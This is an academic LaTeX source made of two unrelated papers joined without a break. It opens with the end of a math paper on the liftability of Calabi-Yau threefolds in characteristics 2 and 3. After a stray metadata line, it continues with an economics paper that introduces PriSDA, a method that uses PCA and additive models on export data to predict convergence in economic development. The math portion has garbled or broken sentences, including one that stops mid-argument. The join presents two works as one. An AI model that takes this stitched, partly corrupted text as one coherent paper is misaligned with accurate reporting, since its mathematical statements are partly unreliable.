finite type. By \cite{illusie83b} such a Cartier module is a free
$W$-module. Hence $H^3(X,W(\O_X))$ is free and torsion so we
deduce that $H^3(X,W(\O_X))$ is zero. But as
$H^3(X,W(\O_X))/VH^3(X,W(\O_X))=H^3(X,\O_X)\neq 0$. This is a
contradiction. So we see that (4) implies (5). So now let us prove
that (5) implies (1). The first hypothesis of (5) implies that
$X$ is a non Hodge-Witt Calabi-Yau threefold so that $T^{0,3}=1$
and hence we see that $h^{1,2}_W=m^{1,2}-T^{0,3}=-1<0$. This
completes the proof of the theorem.
\end{proof}
\begin{proposition}\label{hirokado-example}
Let $k$ be an algebraically closed field of characteristic
$p=2,3$. Then there exists smooth, projective Calabi-Yau
threefold $X$ such that $h^{1,2}_W<0$.
\end{proposition}
\begin{proof}
In \cite{hirokado99} M.~Hirokado and \cite{schroer04} have constructed an
examples of Calabi-Yau (and in fact, families of such threefolds
in the latter case) threefold in characteristic $p=2,3$ which are
not liftable to characteristic zero. We claim that these
Calabi-Yau threefolds are the examples we seek. It was verified in
loc. cit. that these threefolds have $b_3=0$. So we are done by
Theorem~\ref{non-liftable-b3}.
\end{proof}
\begin{corollary}
The Hirokado and Schr\"oer threefolds are not Hodge-Witt.
\end{corollary}
\begin{remark}
The Hirokado and Schr\"oer threefolds have been investigated in
detail by Ekedahl (see \cite{ekedahl04a}) who has prove their
arithmetical rigidity. One should note that the right hand side of
\eqref{calabi-yau-formulaire} is non-negative if $X$ lifts to
characteristic zero without any additional assumptions on torsion
of $H^*_{cris}(X/W)$ as the following proposition shows.
\end{remark}
\begin{proposition}
Let $X$ be a smooth, projective
Calabi-Yau threefold. If $X$ lifts to characteristic zero then
$$c_3\leq 2b_2.$$
\end{proposition}
\begin{proof}
Under the hypothesis, we know that $b_1=b_5=0$ so that
$c_3=2+2b_2-b_3$, so that $b_2-\frac{1}{2}c_3=\frac{b_3}{2}-1$ and
by the Hodge decomposition, $b_3\geq 2$ is even and so the
assertion holds.
\end{proof}
\begin{remark}
The examples (for $p=2,3$) constructed in \cite{schroer04} has $b_2=23,c_3=48$ so $c_3>2b_2$. For the example of \cite{hirokado99} we have also have $c_3>2b_2$.
\end{remark}
\subsection{Calabi-Yau Conjecture}
Let $X$ be a smooth projective Calabi-Yau threefold.
The following conjecture provides a necessary and sufficient condition for $X$ to admit a lifting to characteristic zero. In characteristic zero any Calabi-Yau threefold does not have non-vanishing global one forms (this is a consequence of Hodge symmetry). In positive characteristic we do not know that this vanishing assertion always holds.
\begin{conj}
Let $X$ be a smooth, projective Calabi-Yau threefold. Then $X$ lifts to characteristic zero if and only if
\begin{enumerate}
\item $H^0(X,\Omega^1)=0$ and
\item $h^{1,2}_W\geq 0$.
\end{enumerate}
\end{conj}
Since $h^{1,2}_W\geq 0$ is equivalent to $c_3\leq 2b_2$, and hence we can reformulate our conjecture as
\begin{conj}
Let $X$ be a smooth, projective Calabi-Yau threefold. Then $X$ lifts to characteristic zero if and only if
\begin{enumerate}
\item $H^0(X,\Omega^1)=0$ and
\item $c_3\leq 2b_2$.
\end{enumerate}
\end{conj}
We note that our conjecture implies that $H^2_{\rm cris}(X/W)$ is torsion free.
\begin{remark}
Let us remark that if $k={\mathbb C}$, then $c_3=2b_2$ holds if and only if $X$ is a rigid Calabi-Yau threefold. Indeed if $k={\mathbb C}$, $h^{1,2}=b_2-\frac{1}{2}c_3=0$ if and only if $H^2(X,\Omega^1_X)=0$. By Serre duality and the fact that $X$ is a Calabi-Yau threefold we get $$H^2(X,\Omega^1_X)=H^1(X,T_X)=0.$$
So $X$ is rigid and conversely.
\end{remark}
\bibliographystyle{plain}
\input{geography11.bbl}
\end{document}
|
1,477,468,750,037 | arxiv |
\section*{Another Section}
\section{Methods}
The PriSDA\ method identifies equations that predict changes over time (using nonparametric regression, here GAMs) in a complex system described using dimension reduction and potentially other aggregate quantities. Crucial to its success is providing it data that allows large and small units (here, national economies) to be comparable yet allow for absolute growth.
\subsection{Multidimensional characterization of the productive capabilities of economies\label{sec:define_absolute_advantage}}
There is growing interest in multi-dimensional metrics of economic development and poverty\ \cite{Alkire2011,Hruschka2017}.
We track macro-level multidimensional economic development based on annual exports, for which there is high quality data for all countries over the past half century.
A country's exports indicate its international competitive advantages, and unlike domestic production, exports share a common classification system.
Instructions for accessing the data and details on its preprocessing are in
Sections SI-2 and SI-3.
Because data on exports are noisy, products are aggregated into $59$ categories
(Section SI-3A).
The value of a country $c$'s exports of a product $p$ in year $t$, denoted $\exports{c}{p}{t}$, tends to correlate positively with the size of the country's population, $\population{c}{t}$. To account for that relationship, $\exports{c}{p}{t}$ is divided by an expectation according to a null model of a country's expected value of an export {given} that country's population.
To remove the effects of global price shocks, this quantity is divided by the total value of the world's exports of that product, which is also normalized by a null model that predicts global export value using global population.
We call the resulting quantity the \emph{absolute advantage} of a country $c$ in a certain product $p$ in year $t$, denoted $\RpopSymbol{c}{p}{t}$:
\begin{align}
\RpopSymbol{c}{p}{t} =
\frac
{
\exports{c}{p}{t} / \E \left [ \exports{c}{p}{t} \vert \population{c}{t} \right ]
}
{
\sum_c \exports{c}{p}{t} / \E \left [\sum_c \exports{c}{p}{t} \big \vert \sum_c \population{c}{t} \right ]
}
.
\label{eq:define_absolute_advantage}
\end{align}
Details are in Sec.\ SI-3B.
We consider countries as length-$59$ vectors of $\RpopSymbol{c}{p}{t}$ across all products; a two-dimensional projection of two trajectories of $\RpopSymbol{c}{p}{t}$ is shown in Fig.\ \ref{fig:overview}(A). Unlike relative quantities such as revealed comparative advantage\ \cite{Balassa1965}, a country can grow its absolute advantage arbitrarily.
For example, in 2016 Belgium and the Netherlands were the only countries that ``punched above their weight'' (i.e., had $\RpopSymbol{c}{p}{t} > 1$) for all $59$ products $p$.
To put products on equal footing with each other, we center and scale $\RpopSymbol{c}{p}{t}$ by the mean and standard deviation of $\RpopSymbol{c}{p}{t}$ across all countries and across all years $t \leq {1988}$ (Fig.\ \ref{fig:overview}(B)).
We call the resulting quantity \emph{scaled absolute advantage} and denote it by $\RpopSymbolCenteredScaled{c}{p}{t}$.
Scaled absolute advantage is the number of standard deviations above the pre-${1988}$ mean of all countries' absolute advantage in that product. $\RpopSymbolCenteredScaled{c}{p}{t} > 0$ means that country $c$ excels at producing and exporting product $p$ in year $t$. Making products comparable---by dividing by the product's global export market in $\RpopSymbol{c}{p}{t}$ and by centering and scaling each product in $\RpopSymbolCenteredScaled{c}{p}{t}$---enables detecting how expertise in one product enables developing expertise in another, regardless of the sizes of the markets of those products.
\subsection{Reducing dimensions of export baskets
We reduce dimensions using principal components analysis (PCA)\ \cite{Lever2017} because the resulting dimensions are interpretable and because summing exports reduces the noise in export data.
Other methods are discussed in Sec.\ SI-1
Figure\ \ref{fig:pca_loadings} shows the \emph{loadings} (weights) of the first three principal components on the $59$ products. The \emph{score} of a country's export basket on the $k$th principal component---denoted $\scorePC{k}$---is the dot product [illustrated in Fig.\ \ref{fig:overview}(C)] of the country's export basket, $(\RpopSymbolCenteredScaled{c}{p}{t})_{p \in \mathcal{P}}$, with that principal component's loading vector, drawn as a row of rectangles in Fig.\ \ref{fig:pca_loadings}(A). We interpret this PCA in Sec.\ \ref{sec:results}.
\begin{figure*}[htb]
\begin{center}
\includegraphics{pca_loadings}
\caption{
\textbf{The first three principal components are approximately
(1) {total absolute advantage summed across all products (with more weight on product codes above \productCode{50})},
(2) {machinery minus agriculture}, and
(3) {textiles and fertilizer minus coffee and cork}.
}
In plot (A), the rows are principal components, the columns are products, and the rectangles' colors represent the loading (or ``weight'') of that principal component on that product.
The first component loads positively on all products.
Thus, what distinguishes countries, above all, is their ``diversification'' across products.
The second component loads highly on machinery (product codes beginning with \productCode{7}) and other manufactured goods, and it loads negatively on agricultural products.
Thus, the direction in $59$-dimensional product space orthogonal to the first component that most spreads out observations points toward machinery and away from agriculture.
The third component loads positively on clothing and textile products and negatively on cork and wood (\productCode{24}) and coffee, tea, and spices (\productCode{07}).
The plots labeled (B) are histograms of loadings, across all $59$ products, in the corresponding rows.
}
\label{fig:pca_loadings}
\end{center}
\end{figure*}
\subsection{Inferring dynamics of export baskets
To understand patterns in economic development, next we examine how two summary measures of an export basket, $\scorePC{0}$ and $\scorePC{1}$, interact with per-capita income\ \cite{GDPpcWorldBank} (transformed logarithmically):
$\texttt{GDPpc} \equiv \log_{10}(\text{GDP per capita})$.
Because excelling at exports reflects the capabilities and know-how within a country\ \cite{Hausmann2006,Hidalgo2009,Hausmann:2011ke}, by inferring a model of how the triple $(\scorePC{0}, \scorePC{1}, \texttt{GDPpc})$ changes over time, we aim to shed light on fundamental economic patterns.
The three variables $(\scorePC{0}, \scorePC{1}, \texttt{GDPpc})$ are aggregate descriptions of an economy, so we expect them to change smoothly over time.
A natural choice for a smooth model are cubic smoothing splines\ \cite[Chapters 3 and 4]{Wood2006book}. This method provides us with the following system of dynamical equations:
\begin{subequations}
\begin{align}
\link{\Delta \scorePC{0}(t)}
&=
\gamIntercept{0}
+
s_{00} \left (\scorePC{0}(t) \right )
+
s_{01} \left (\scorePC{1}(t) \right )
+
s_{02} \left (\texttt{GDPpc}(t) \right ) \label{eq:pc0} \\
\link{\Delta \scorePC{1}(t)}
&=
\gamIntercept{1}
+
s_{10} \left (\scorePC{0}(t) \right )
+
s_{11} \left (\scorePC{1}(t) \right )
+
s_{12} \left (\texttt{GDPpc}(t) \right )
\label{eq:pc1}
\\
\link{\Delta \texttt{GDPpc}(t)}
&=
\gamIntercept{2} +
s_{20} \left (\scorePC{0}(t) \right )
+
s_{21} \left (\scorePC{1}(t) \right )
+
s_{22} \left (\texttt{GDPpc}(t) \right )
\label{eq:gdppc}
\end{align}
\label{eq:gam}
\end{subequations}
\!\!\!\!\!where $\Delta$ takes the expected difference in time, $\Delta f(t) \equiv \E \left [ f(t+1) - f(t) \right ]$;
the $\gamIntercept{i}$ are intercept terms;
the $s_{i, j}$ are cubic smoothing splines with smoothing strength chosen using nested-in-time cross validation
(Sec.\ SI-5A);
and the link function $\link{x} \equiv \linkExpression{x}$ is applied to make the residuals' distributions closer to a normal
(Sec.\ SI-5B).
The goodness of fit ($R^2 \approx 0.04$) and the GAM's competitiveness with other statistical learning methods are discussed in
Sec.\ SI-5A.2.
The terms of \eqref{eq:gam} are plotted in Figure\ \ref{fig:partial_dependence}, where one can compare
not only the shapes but also the magnitudes.
The GAM\ \eqref{eq:gam} can be understood as a dynamical model inferred from the data, with which we can attempt to predict the future; it can also be understood as a histogram smoother that helps us see signal amid the noise.
\subsection{Data and code availability}The data, available at \href{https://dataverse.harvard.edu/dataset.xhtml?persistentId=doi:10.7910/DVN/B0ASZU}{Dataverse}, were analyzed using open-source software, including NumPy, pandas, SciPy, and pyGAM\ \cite{pyGAM}. Code to reproduce this work is available at \href{https://github.com/cbrummitt/machine_learned_patterns_in_economic_development}{GitHub}.
\section{Results\label{sec:results}}
\subsection{
How a machine summarizes an economy\label{sec:principal_components}}
The first principal component is the direction in product space along which countries are most spread out in terms of variance\ \cite{Lever2017}. We find this direction to be associated with a measure of diversification, as we show below.
This first component
explains more than half of the variation in export baskets ($57.2\%$) across countries and years.
Mathematically, a country's score $\scorePC{0}$ on the first principal component is a weighted sum of $\RpopSymbolCenteredScaled{c}{p}{t}$ (scaled absolute advantage) across all products.
The weights are fixed once PCA has been fitted, but since export baskets change in time, scores $\scorePC{0}$ change from year to year (and from country to country).
The weights of this principal component are all positive and are depicted in the top row of Fig.\ \ref{fig:pca_loadings}(A).
The score $\scorePC{0}$ is highly correlated with per-capita exports summed across products, $\sum_p \exports{c}{p}{t}/\population{c}{t}$ (Pearson $\rho = 0.82$; Fig.\ SI-6).
This correlation, however, is trivial and unsurprising given that $\scorePC{0}$ is a positively-weighted sum across products.
However,
the finding that the weights are all positive, together with the fact that this principal component explains almost $60\%$ of the variation, is not trivial and is of economic significance.
It implies that in the dimension defined by the first principal component, countries are separated by their export diversification. Indeed, values of $\scorePC{0}$ are most correlated with existing notions of diversification, once we control for other covariates which include Worldwide Governance Indicators and measures of educational attainment (see Fig.\ SI-6--SI-10).
To see why we refer to the score $\scorePC{0}$ on the first principal component as ``complexity-weighted diversification'' (as opposed to simply ``diversification''), notice in the top row of Fig.\ \ref{fig:pca_loadings}(A) that
the loadings are not uniform: they are about twice as large on the more complex products. These variations in the loadings, in fact, are highly correlated with the Product Complexity Index\ \cite{Hidalgo2009} (Pearson $\rho = 0.81$;
Fig.\ SI-5).
The score $\scorePC{0}$, in other words, captures the diversification\ \cite{Hidalgo2009} of an economy, with an emphasis on more complex goods.
The next direction that most spreads out export baskets across countries and across time---conditional on being orthogonal to the first component---loads highly on machinery and negatively on agricultural products [Fig.\ \ref{fig:pca_loadings}(A), middle row].
Thus, after knowing a country's complexity-weighted diversity $\scorePC{0}$, the next characteristic that most spreads out countries is how much more they export in machinery relative to agricultural goods. This second principal component explains $5\%$ of the variance, $11$ times less than that explained by $\scorePC{0}$
Garments have long been considered to be the first sector to industrialize in a country,
including in England during the industrial revolution and in many East Asian countries since the 1960s\ \cite{Birdsall1993}. However, these products are not an important direction of variation of export baskets between $1962$--${1988}$ in the first and second principal components. Only in the third principal component are textile products substantially loaded [Fig.\ \ref{fig:pca_loadings}(A), bottom row]. Because this component only explains $3.3\%$ of the variance of export baskets,
hereafter we focus on the first two principal components.
\begin{figure*}[htb]
\begin{center}
\includegraphics{partial_dependence}
\caption{
\textbf{
Export baskets tend to diversify and converge to a balance of agriculture and manufactured goods.
}
Shown are \emph{partial dependence plots} of the three equations in\ \eqref{eq:gam}.
Each blue curve is an additive contribution to the quantity written in black on the left-hand side of this figure, which is a link function $g$ applied to the expected yearly change in one of the three variables $\scorePC{0}, \scorePC{1}, \texttt{GDPpc}$.
(See the text after\ \eqref{eq:gam} for the definition of $g$.)
In each plot, the quantity being plotted is written in blue.
Adding the blue expressions across a row gives the right-hand sides of\ \eqref{eq:gam}.
The shaded regions show the 95\% CI.
Each equation has an intercept, $\gamIntercept{i}$, shown in the right column.
The plots on the diagonal have negative trends, suggesting convergence.
Interestingly, income is not associated with changes in export baskets, but $\scorePC{0}$ appears to drive $\texttt{GDPpc}$:
diversifying precedes income growth.
}
\label{fig:partial_dependence}
\end{center}
\end{figure*}
\subsection{Complexity-weighted diversity predicts growth\label{sec:predictors_growth}}
The partial dependence plots in Fig.\ \ref{fig:partial_dependence} show how yearly changes in $\scorePC{0}$, $\scorePC{1}$, and $\texttt{GDPpc}$ are predicted by sums of one-dimensional functions of those same variables. The rows of Fig.\ \ref{fig:partial_dependence} depict the three equations\ (\ref{eq:pc0})--(\ref{eq:gdppc}).
Notice that per-capita income is not a strong predictor of changes in export baskets as measured by $\scorePC{0}$ and $\scorePC{1}$ (see the top and middle plots in the third column of Fig.\ \ref{fig:partial_dependence}).
In contrast, the score $\scorePC{0}$ on the first principal component is associated with significant growth in income, even though $\scorePC{0}$ and $\scorePC{1}$ were defined independently of income.
The fact that $\scorePC{0}$, the complexity-weighted diversity of an economy, seems to drive income, and not the reverse, is consistent with the hypothesis that income is the outcome: income emerges from the productive capabilities of an economy, captured here by $\scorePC{0}$ and $\scorePC{1}$.
If the ``off-diagonal'' terms $s_{01} \left (\scorePC{1} \right ) + s_{02} \left (\texttt{GDPpc} \right )$ in\ \eqref{eq:pc0} were absent, then $\scorePC{0}$ would settle onto a value near $-10$. This amount is approximately the value of $\scorePC{0}$ of the poorest countries in $2016$, such as Liberia, Angola, and the Democratic Republic of the Congo. However, the large intercept in\ \eqref{eq:pc0} (the top-right plot in Fig.\ \ref{fig:partial_dependence}) suggests a general positive tendency to diversify, regardless of the country's absolute advantage in machinery relative to agriculture ($\scorePC{1}$). Once a country has complexity-weighted diversification $\scorePC{0} > 0$, it can expect significant growth in income.
Interestingly, simply exporting more per capita, regardless of the allocation across products, is not associated with growth: when $\scorePC{0}$ is substituted with total per-capita exports, the relationship with income growth flattens
(Fig.\ SI-14).
Exporting more kinds of goods matters: Replacing $\scorePC{0}$ with another notion of diversity \cite{Hidalgo2009} preserves the positive relationship with income growth.
We note, in addition, that the lack of clear association between $s_{21} \left (\scorePC{1} \right )$ and growth of $\texttt{GDPpc}$ implies that there are weak returns to specialization. In fact, $\scorePC{1}$ tends toward zero, regardless of the other two variables, meaning that countries tend toward a diversified export basket that balances agriculture with machinery.
These results suggest that export baskets tend to increasingly resemble one another. Next we examine this convergence in more detail.
\subsection{2D projections of the data and of the learned dynamics}
In Fig.\ \ref{fig:streamplot_scatterplot_pc0_p1_and_pc0_gdppc} we compare the model\ \eqref{eq:gam} with the empirical data.
This figure projects the data onto $(\scorePC{0}, \scorePC{1})$ (top row) and onto $(\scorePC{0}, \texttt{GDPpc})$ (bottom row). The left-hand column shows empirical data, with some countries' trajectories highlighted. The right-hand column visualizes the vector field of\ \eqref{eq:gam} as a ``stream plot'', with the third variable not plotted taken to be the pre-${1988}$ mean.
That is, the arrows are the expected movement for countries whose third variable (the one not plotted) equals the pre-$1988$ mean; for other countries, the arrows approximate their expected movement.
The data in Fig.\ \ref{fig:streamplot_scatterplot_pc0_p1_and_pc0_gdppc}(A) show that countries tend to move from left to right (they export more and diversify) and toward the middle of vertical axis (they move toward $\scorePC{1} \approx 0$, a balance between agriculture and machinery). The gray streamlines of the inferred model in Fig.\ \ref{fig:streamplot_scatterplot_pc0_p1_and_pc0_gdppc}(B) confirm this pattern, suggesting that countries converge toward the trajectory like that of Thailand's (purple, labeled THA). In the bottom row, the data in Fig.\ \ref{fig:streamplot_scatterplot_pc0_p1_and_pc0_gdppc}(C) show that development success stories like South Korea (KOR), Thailand, and China (CHN) share a common trajectory of increasing $\scorePC{0}$ and income. The inferred model's streamlines in Fig.\ \ref{fig:streamplot_scatterplot_pc0_p1_and_pc0_gdppc}(D) suggest that poor countries will follow in their footsteps, but also that income in the richest countries may fall. The ``J'' shape in Figs.\ \ref{fig:streamplot_scatterplot_pc0_p1_and_pc0_gdppc}(C) and\ \ref{fig:streamplot_scatterplot_pc0_p1_and_pc0_gdppc}(D) suggests that growth only takes over after diversification reaches a critical value.
\begin{figure*}[htb]
\begin{center}
\includegraphics{streamplot_scatterplot_pc0_p1_and_pc0_gdppc}
\caption{
\textbf{The learned dynamics\ \eqref{eq:gam}
predict that countries are converging.}
The left column shows empirical data with blue dots; the right column shows predictions of the model\ \eqref{eq:gam} as stream plots. The empirical trajectories of eight countries over years 1962--2016 are superimposed on all four plots.
Trajectories are labeled at the first available sample (year $1985$ for Angola, $1962$ for the rest).
A country is represented by a triple $(\scorePC{0}, \scorePC{1}, \texttt{GDPpc})$, and the model\ \eqref{eq:gam} has been trained on this $3$-dimensional space, but here we show projections onto $(\scorePC{0}, \scorePC{1})$ in the top row and onto $(\scorePC{0}, \texttt{GDPpc})$ on the bottom row.
(A) Countries tend to diversify (increase $\scorePC{0}$) and strike a balance between machinery and agriculture ($\scorePC{1} \approx 0$).
(C) Development success stories (e.g., THA, KOR, CHN) share a common trajectory of increasing $\scorePC{0}$ and income.
(D) Poor countries may follow in their footsteps, but income in the richest countries may stagnate or even fall. Countries are labeled with United Nations ISO-alpha3 codes.
}
\label{fig:streamplot_scatterplot_pc0_p1_and_pc0_gdppc}
\end{center}
\end{figure*}
\subsection{Stream plots of export baskets at different levels of income}
In Fig.\ \ref{fig:streamplots_vary_gdppc} we vary $\texttt{GDPpc}$ across three values, the $10$th, $50$th, and $90$th percentiles of per-capita income in year ${1988}$. As a country's per-capita income rises, the map of how its export basket moves through the space of products (as described by $\scorePC{0}, \scorePC{1}$) morphs from the plot on the left to the plot on the right. The colors denote the model's predicted change in per-capita income [\eqref{eq:gdppc}]. In the plot on the left, we see that the poorest countries tend toward a fixed point: what little they export ($\scorePC{0} \approx -8$) tends toward a balance between agriculture and machinery ($\scorePC{1}$ tends to zero). Countries with per-capita income near the median ($\$2764$ per year) tend to grow their complexity-weighted diversification $\scorePC{0}$ (notice the trend to the right in the middle plot of Fig.\ \ref{fig:streamplots_vary_gdppc}), a pattern that continues for the richest countries (right-hand plot of Fig.\ \ref{fig:streamplots_vary_gdppc}). It appears that one need not be very rich to begin to diversify.
This movement in product space $(\scorePC{0}, \scorePC{1})$ appears to
maximize expected short-run increases in income, according to\ \eqref{eq:gam}
(Fig.\ SI-18).
High-income countries tend to be best at moving toward higher income (except for brief periods),
and China has been exceptional at it since $1990$.
\begin{figure*}[htb]
\begin{center}
\includegraphics{streamplots_vary_gdppc}
\caption{
\textbf{Inferred dynamics of export baskets, at three levels of per-capita income, predict convergence in the long run.} The streamlines show how a country's export basket, described by its scores $(\scorePC{0}, \scorePC{1})$ on the first two principal components, changes over time according to the GAM\ \eqref{eq:gam}. From left to right, the columns correspond to GDP per capita at the $10$th, $50$th, and $90$th percentiles of per-capita income among countries in the year $1988$. Those percentiles are the value inserted into\ \eqref{eq:gam}; we show streamlines at $(\scorePC{0}, \scorePC{1})$ pairs in the convex hull of all empirical samples $(\scorePC{0}, \scorePC{1}, \texttt{GDPpc})$ with $\texttt{GDPpc}$ within $15\%$ of the value shown at the top of the plot. The predicted yearly change in per-capita income is plotted in color. The model predicts that poor countries move toward a balance of agriculture and machinery before increasing their total exports. (Said formally, $\scorePC{1} \to 0$ in the left plot, and $\scorePC{0}$ increases substantially in the middle and right plots.) Eventually, all countries are predicted to become rich and to have diverse export baskets (high $\scorePC{0}$) that balance between agriculture and machinery ($\scorePC{1} \approx 0$).
}
\label{fig:streamplots_vary_gdppc}
\end{center}
\end{figure*}
\subsection{Long-run predictions of per-capita income}
\begin{figure}[htb]
\begin{center}
\includegraphics[width=\columnwidth]{predicted_growth_rates}
\caption{
\textbf{Catch-up of the diverse, middle-income countries.}
Shown
are predicted annual growth rates of per-capita income (in constant 2010 USD per person per year) over the next $50$ years as a function of (A) current per-capita income and (B) current score $\scorePC{0}$ on the first principal component. (C) shows predicted trajectories of per-capita income. Highlighted are four countries representative of four groups: low-income countries predicted to grow little (Liberia, LBR); middle-income countries with high diversity (high $\scorePC{0}$) today predicted to grow a lot (Thailand, THA); middle-income countries with low diversity (low $\scorePC{0}$) predicted to grow little (Angola, AGO); and high-income countries predicted to grow little (Norway, NOR). The GAM\ \eqref{eq:gam} predicts the highest growth in income for economies that currently have intermediate income (annual growth $\approx 1.5\%$ to $2\%$ for countries with yearly per-capita income between $\$1000$ and $\$20{,}000$) and lower growth rates for poorest countries ($0$ to $1\%$ growth) and the richest countries ($0$ to $0.5\%$ growth).}
\label{fig:predicted_growth_rates}
\end{center}
\end{figure}
Research on economic complexity has focused on growth predictions as validation\ \cite{Hidalgo2009,Cristelli2015} and, recently, research\ \cite{Tacchella2018} has benchmarked these predictions against those of the International Monetary Fund. We found that predicting the change of export baskets simultaneously with the change of per-capita income was inherently a hard problem across different statistical learning methods [Sec.\ SI-5A.2]. Instead, we found low-dimensional models to be better suited for generating interpretable, qualitative insights rather than making competitive predictions. With this caveat in mind, we investigate the model's long-run predictions by iterating 1-year predictions starting from $2016$ data.
Figure\ \ref{fig:predicted_growth_rates} shows the model's long-run predictions of growth in per-capita income as a function of (A) per-capita income and (B) $\scorePC{0}$ in $2016$. The model predicts that the diverse, middle-income countries today will significantly catch up to the richest ones, growing at an annual rate of $2\%$. Meanwhile, it predicts that poor countries (such as Liberia) and middle-income countries with low diversity $\scorePC{0}$ (such as Angola) are predicted to grow between $0$ and $1\%$ annually. Rich countries like Norway are predicted to barely grow at all. The next economic success stories, according to this model, are those with intermediate income and diversification today. These results are consistent with one of the ``New Kaldor facts''\ \cite{Jones2010_NewKaldorFacts} that rich countries grow more slowly than middle income countries.
\section{Discussion\label{sec:discussion}}
This investigation sits at the intersection of three recent developments in the quantitative social, natural, and physical sciences: (1) the roles of complexity and diversity as drivers of economic growth\ \cite{Hidalgo2007,Hidalgo2009}; (2) identifying universal, low-dimensional patterns of complex human systems over time\ \cite{turchin2018quantitative}; (3) using machine learning to uncover governing laws of biological and physical systems\ \cite{Daniels2015,Zhang2015,Brunton2016_SINDy}.
We accordingly developed a new method, Principal Smooth-Dynamics Analysis\ (PriSDA), by applying tools from statistical learning---namely, dimension reduction and generalized additive models---to identify stylized patterns in economic development. Our measure of
countries' proficiencies in exporting $59$ product categories allows for small and large countries to be comparable, adjusts for global shocks, and can account for absolute economic growth. Given this data,
PriSDA\ found a complexity-weighted measure of diversity, and it approximately recovered the Product Complexity Index\ \cite{Hidalgo2009}.
Our analysis generated two core insights. First, diversity appears to drive per capita income rather than the other way around. Second, countries are not predicted to split into rich and poor clubs, nor into manufacturing hubs and agricultural hubs, but instead to converge on the same increasingly diverse basket of goods (and capabilities). We hope that future research reconciles these patterns of diversification with the specialization predicted by Ricardian theories of comparative advantage\ \cite{arkolakis2012new,eaton2012putting}. The most dynamic economies of the $21^\text{st}$ century are predicted to be middle-income economies that are somewhat diversified across products.
The least diversified countries have dismal prospects for economic growth, consistent with previous findings\ \cite{Hidalgo2007}.
The importance of this approach rests on its applicability beyond the specific case studied here. In general, systems whose evolution is described by a multiplicity of properties are amenable to analysis such as the one we propose here. For example, it is known that wildfires typically reduce the number of species that inhabit an ecosystem, but then species recolonize over time as diversity rises in a process called ecological succession\ \cite{Rozbook}. The composition of species in a system can also converge due to migration\ \cite{Pickbook}. PriSDA\ could reveal other patterns, still unknown, in such ecological systems. These commonalities suggest the possibility of general theories of complex systems, uncovered by machines less tied to disciplinary paradigms.
Rapidly advancing ways for machines to learn interpretable models bode well for followup studies. Pairwise interactions could be modeled using GA$^2$M\ \cite{Lou2013_GA2M}, or high-dimensional data could be
fitted with GAMs that both smooth the data and select terms, such as GAMSEL\ \cite{Chouldechova2015_GAMSEL} or SPLAM\ \cite{Lou2016_SPLAM}.
Principal Smooth-Dynamics Analysis\ (PriSDA) takes a step toward this broader goal of using machines to generate fundamental theories of complex natural and social systems.
\begin{description}
\item[Acknowledgments] C.D.B. and M.H.B. acknowledge funding from the James S. McDonnell Foundation for the Postdoctoral Award and the Scholar Award (respectively) in Complex Systems.
\item[Competing Interests] The authors declare that they have no
competing financial interests.
\item[Correspondence] Correspondence and requests for materials
should be addressed to C.D.B.~(email: brummitt@gmail.com).
\end{description}
\input{si}
\clearpage
\section{Related work\label{sec:related_work}}
Recent work in economics has embraced the multidimensional nature of an economy by compressing information about the products that the economy exports. The ``complexity index''\ \cite{Hidalgo2009,a2011,Albeaik2017improving} and ``fitness''\ \cite{Tacchella2012,Cristelli2013,Tacchella2013,Cristelli2013,Cristelli2015} of an economy summarize the sophistication of its capabilities.
These measures can be defined in many ways\ \cite{Albeaik2017_729}; what they share in common is essentially a sum over products weighted by some notion of difficulty of producing that product.
They all tackle an ambitious challenge: to describe an economy's complexity with just one number.
Other work is investigating how compressible economies and societies are.
Machado and Mata\ \cite{Machado2015} reduce the dimensions of four time-series (per-capita income, exports relative to income, school enrollment, and lifetime expectancy) to two dimensions using multidimensional scaling.
Hruschka et al.\ \cite{Hruschka2017} create multidimensional models of wealth by reducing the dimensions of responses to household surveys about ownership of assets such as TVs, land, and electricity.
Turchin et al.\ \cite{turchin2018quantitative} find that societies across millennia tended to move along a common, low-dimensional trajectory in which the complexity of social organization steadily increased over time.
The existence of common patterns in the trajectories of economies can enable forecasts using simple models.
For example, economists have fit Markov chains\ \cite{Quah1993} (and continuous versions of them\ \cite{Quah1996} and variants of Markov chains with constraints from growth theory\ \cite{Azariadis2003}) to time-series data on per-capita incomes.
They used the stationary distribution to predict whether countries will converge to similar incomes, or whether they diverge to different ``convergence clubs''. References \cite{Quah1993,Quah1996,Azariadis2003} predict a bimodal distribution of incomes in the future. What is needed are models inferred from high-dimensional data\ \cite[p.\ 42 in Sec.\ 4.1]{Azariadis2005}.
Stochastic methods have also been used to model changes in global exports of many products\ \cite{Caraglio2016}.
Our approach was inspired by recent advances in statistical machine learning aimed at identifying governing laws of motion in data.
One method, called SINDy\ \cite{Brunton2016_SINDy}, expands features using a hand-picked library of functions and then selects among them using sparse regression. It has since been extended to partial differential equations\ \cite{Rudy2017}, differential equations with rational terms\ \cite{Mangan2016}, information criteria\ \cite{Mangan:2017wa}, and control problems\ \cite{Brunton2016_SINDYc}.
SINDy has proved successful in discovering laws of physics and microbiology, where we can expect polynomials and other simple functions.
We found SINDy challenging to work well with noisy economic data with significant outliers, and great care must be taken in choosing the library of functions so that iterated predictions of the future do not diverge.
Other approaches to system identification have used symbolic regression and genetic algorithms\ \cite{Bongard2007,Schmidt2009}; least angle regression\ \cite{Zhang2015}; and nested hierarchies of models of smooth, nonlinear dynamics\ \cite{Daniels2015}.
Forecasting economic time-series has a long history, with the method of choice often being autoregressive--moving-average (ARMA) models\ \cite{box2015time}.
Like the ``diffusion index'' (or ``factor augmented forecasts'')\ \cite{Bai2008}, we use principal components to reduce dimensions.
\section{Data on exports\label{sec:data}}
Our data has three main stages, which we will refer to as the \emph{raw} data, the \emph{cleaned and standardized} data, and the \emph{final, aggregated} data.
\begin{enumerate}
\item The raw data is the data one can download freely from the United Nations' Commodities Trade Statistics website;
\item the cleaned and standardized data is after the raw data has been expressed using standard classifications across years, and problems of the reliability of the raw records addressed and corrected;
\item the final aggregated data is after we have removed countries and products, and then aggregated into higher level product codes, all with the goal of having reliable statistics.
\end{enumerate}
Under a ``Premium Site License'' that Harvard has with the United Nations' Commodities Trade Statistics (COMTRADE), we provide our clean and standardized data, free to download, through the following link:
\begin{description}
\item
\href{http://atlas.cid.harvard.edu/}{http://atlas.cid.harvard.edu/}, specifically on \href{https://intl-atlas-downloads.s3.amazonaws.com/index.html}{this page} (\url{https://intl-atlas-downloads.s3.amazonaws.com/index.html}) by clicking on
\href{
https://intl-atlas-downloads.s3.amazonaws.com/CPY/S2_final_cpy_all.dta
}{S2\_final\_cpy\_all.dta} (a 451 MB file).
\end{description}
